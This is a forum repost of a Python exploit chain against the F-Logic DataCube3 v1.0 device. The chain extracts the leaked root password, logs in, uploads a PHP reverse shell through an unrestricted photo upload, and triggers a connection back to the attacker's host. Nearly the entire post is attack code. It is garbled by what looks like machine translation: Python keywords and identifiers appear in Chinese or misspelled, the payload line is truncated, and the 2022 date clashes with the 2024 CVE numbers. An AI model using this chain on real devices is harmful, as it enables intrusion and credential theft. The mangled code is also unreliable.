H

DataCube3 V1.0-无限制的文件上传'RCE'

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#exploit title: datacube3 v1.0-无限制的文件上传'rce'
#日期: 7/28/2022
#漏洞作者: Samy Younsi -NS Labs(https://neroteam.com)
#供应商homepage3360 https://www.f-logic.jp
#软件link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube_datacube3_ver1.0_sc.pdf
#版本: VER1.0
#测试ON: DataCube3版本1.0(Ubuntu)
#CVE : CVE-2024-25830 + CVE-2024-25832
#利用链反壳,信息披露(根密码泄漏) +无限制的文件上传
来自future import print_function,unicode_literals
来自BS4进口美丽的小组
导入argparse
导入请求
进口JSON
导入urllib3
导入
urllib3.disable_warnings()
def Banner():
dataCube3logo='''
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒▒▒▒██datacube3 Ver1.0█F-Logic▓▓
▒▒████▒▒██████████
▒▒████▒▒██████████
▒▒▒▒▒▒▒▒██████████
▒▒▒▒▒▒▒▒██▒▒▒▒▒▒▒▒██
▒▒▒▒▒▒▒▒██████
▒▒▒▒▒▒▒▒███████████████████
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓
\ 033 [1; 92mmy Younsi(Necrum Security Labs)\ 033 [1; M \ 033 [1; 91MDATACUBE3 Exploit theploit链链反壳\ 033 [1; m m
仅出于教育目的。
'''
返回打印('\ 033 [1; 94m {} \ 033 [1; m'.format(dataCube3Logo))
Def ExtracTrootPWD(RHOST,RPORT,协议):
url='{} : //{} : {}/admin/admin/config_all.php'.format(stologe,rhost,rport)
TRY:
响应=requests.get(url,ally_redirects=false,verify=false,timeout=20)
如果响应。STATUS_CODE!=302:
print('[!] \ 033 [1; 91MERROR: DATACUBE3 Web界面是不可访问的。确保指定的IP正确。\ 033 [1; M')
出口()
汤=beautifulsoup(wendesp.content.decode('utf-8'),'html.parser')
scriptTag=str(soup.find_all('script')[12])。替换('','')
rawleakeddata=re.findall('configData:*,',scripttag)[0]
jsonleakeddata=json.loads('[{}]'。格式(rawakeddata.split('configData3: [')[1] .split('],',',',)))
AdminPassword=jsonleakeddata [12] ['value']
rootpassword=jsonleakeddata [14] ['value']
print('[info] dataCube3泄漏凭证成功提取: admin: {} | root3: {}。\ n [info]目标必须易于脆弱。
返回rootpassword
Except:
打印('[错误]可以\'t抓住DataCube3版本.')
Def GenerateAuthCookie(RHOST,RPORT,协议,RootPassword):
打印('[info]生成dataCube3 auth cookie .')
url='{} : //{} : {}/admin/admin/config_all.php'.format(stologe,rhost,rport)
数据={
'user_id':'root',
'user_pw': rootpassword,
'login':'%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
}
TRY:
响应=requests.post(url,data=data,ally_redirects=false,verify=false,timeout=20)
如果响应。STATUS_CODE!=302:
print('[!] \ 033 [1; 91MERROR:试图获得auth cookie时发生错误,是否正确?\ 033 [1; m')
出口()
authcookie=response.cookies.get_dict()
打印('[info]身份验证成功!auth cookie: {}'。格式(authcookie))
返回authcookie
Except:
打印('[错误]可以抓住auth cookie,根密码正确吗?')
Def ExtractAccessTime(RHOST,RPORT,LHOST,LOPT,协议,Authcookie):
打印('[info]提取访问时间.')
url='{} : //{} : {}/admin/sudmen/setter_photo.php'.format(stoloption,rhost,rport)
TRY:
响应=requests.get(url,cookies=authcookie,ally_redirects=false,verififify=false,timeout=20)
如果响应。STATUS_CODE!=302:
print('[!] \ 033 [1; 91MERROR:试图获取访问时间值时发生错误。\ 033 [1; m')
出口()
汤=beautifulsoup(wendesp.content.decode('utf-8'),'html.parser')
AccessTime=soup.find('输入',{'name':'accessTime'})。get('value')
print('[info] AccessTime value: {}'。格式(AccessTime))
返回访问时间
Except:
打印('[错误]可以抓住访问时间值,root密码正确吗?')
Def InjextReverseshell(Rhost,Rport,Lhost,Lport,Stocold,Authcookie,AccessTime):
打印('[info]注入php反向外壳脚本.')
文件名='rvs.php'
有paryload='?
data='----------------------------------- 113389720123090127612523184396 \ r \ ncontent-disposition: form-data; name='add'\ r \ n \ r \ r \nÅ。 name='addphoto'; filename='{}'\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name='accesstime'\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)
标题={
'content-type':'multipart/form-data;边界=-------------------------------- 113389720123090127612523184396'
}
url='{} : //{} : {}/admin/sudmen/setter_photo.php'.format(stoloption,rhost,rport)
TRY:
响应=requests.post(url,cookies=authcookie,headers=headers,data=data,ally_redirects=false,veraify=false,timeout=20)
如果响应。STATUS_CODE!=302:
print('[!] \ 033 [1; 91merror:尝试上传PHP反向外壳脚本时发生错误。\ 033 [1; m')
出口()
shellUrl='{} : //{} : {}/images/slideshow/{}'。格式(协议,rhost,rport,filename)
print('[info] php反向外壳脚本成功上传!\ n [info] shell url: {}'。格式(shellurl))
返回shellurl
Except:
print('[错误]可以上传php反向外壳脚本,root密码正确吗?')
def execreverseshell(shellurl):
打印('[info]执行反向外壳.')
TRY:
响应=requests.get(shellurl,lasher_redirects=false,verify=false)
打印('[INFO]反向外壳成功执行。')
返回
除异常外,E:
print('[错误]反向外壳失败。确保DataCube3设备可以到达主机{} : {}')
返回false
def main():
横幅()
args=parser.parse_args()
protocol='https'如果args.rport==443其他'http'
rootpassword=extractrootpwd(args.rhost,args.rport,协议)
authcookie=generateauthcookie(args.rhost,args.rport,protocol,rootpassword)
AccessTime=extractAccessTime(args.rhost,args.rport,args.lhost,args.lport,stolopt,authcookie)
shellUrl=indectReverseshell(args.rhost,args.rport,args.lhost,args.lport,stropast,authcookie,accessTime,accessTime)
execreverseshell(shellurl)
如果name=='__ -Main __':
parser=argparse.argumentparser(description='脚本POC,在f-logic dataCube3设备上利用未经身份验证的远程命令注入。',add_help=false)
parser.add_argument(' - rhost',help='指目标机器的IP。(f-logic dataCube3设备)',type=str,quilt oilds=true=true)
parser.add_argument(' - rport',help='指目标计算机的开放端口。(默认为443)
parser.add_argument(' - lhost',help='指机器的IP。
parser.add_argument(' - lport',help='指机器的开放端口。
主要的()
 
后退
顶部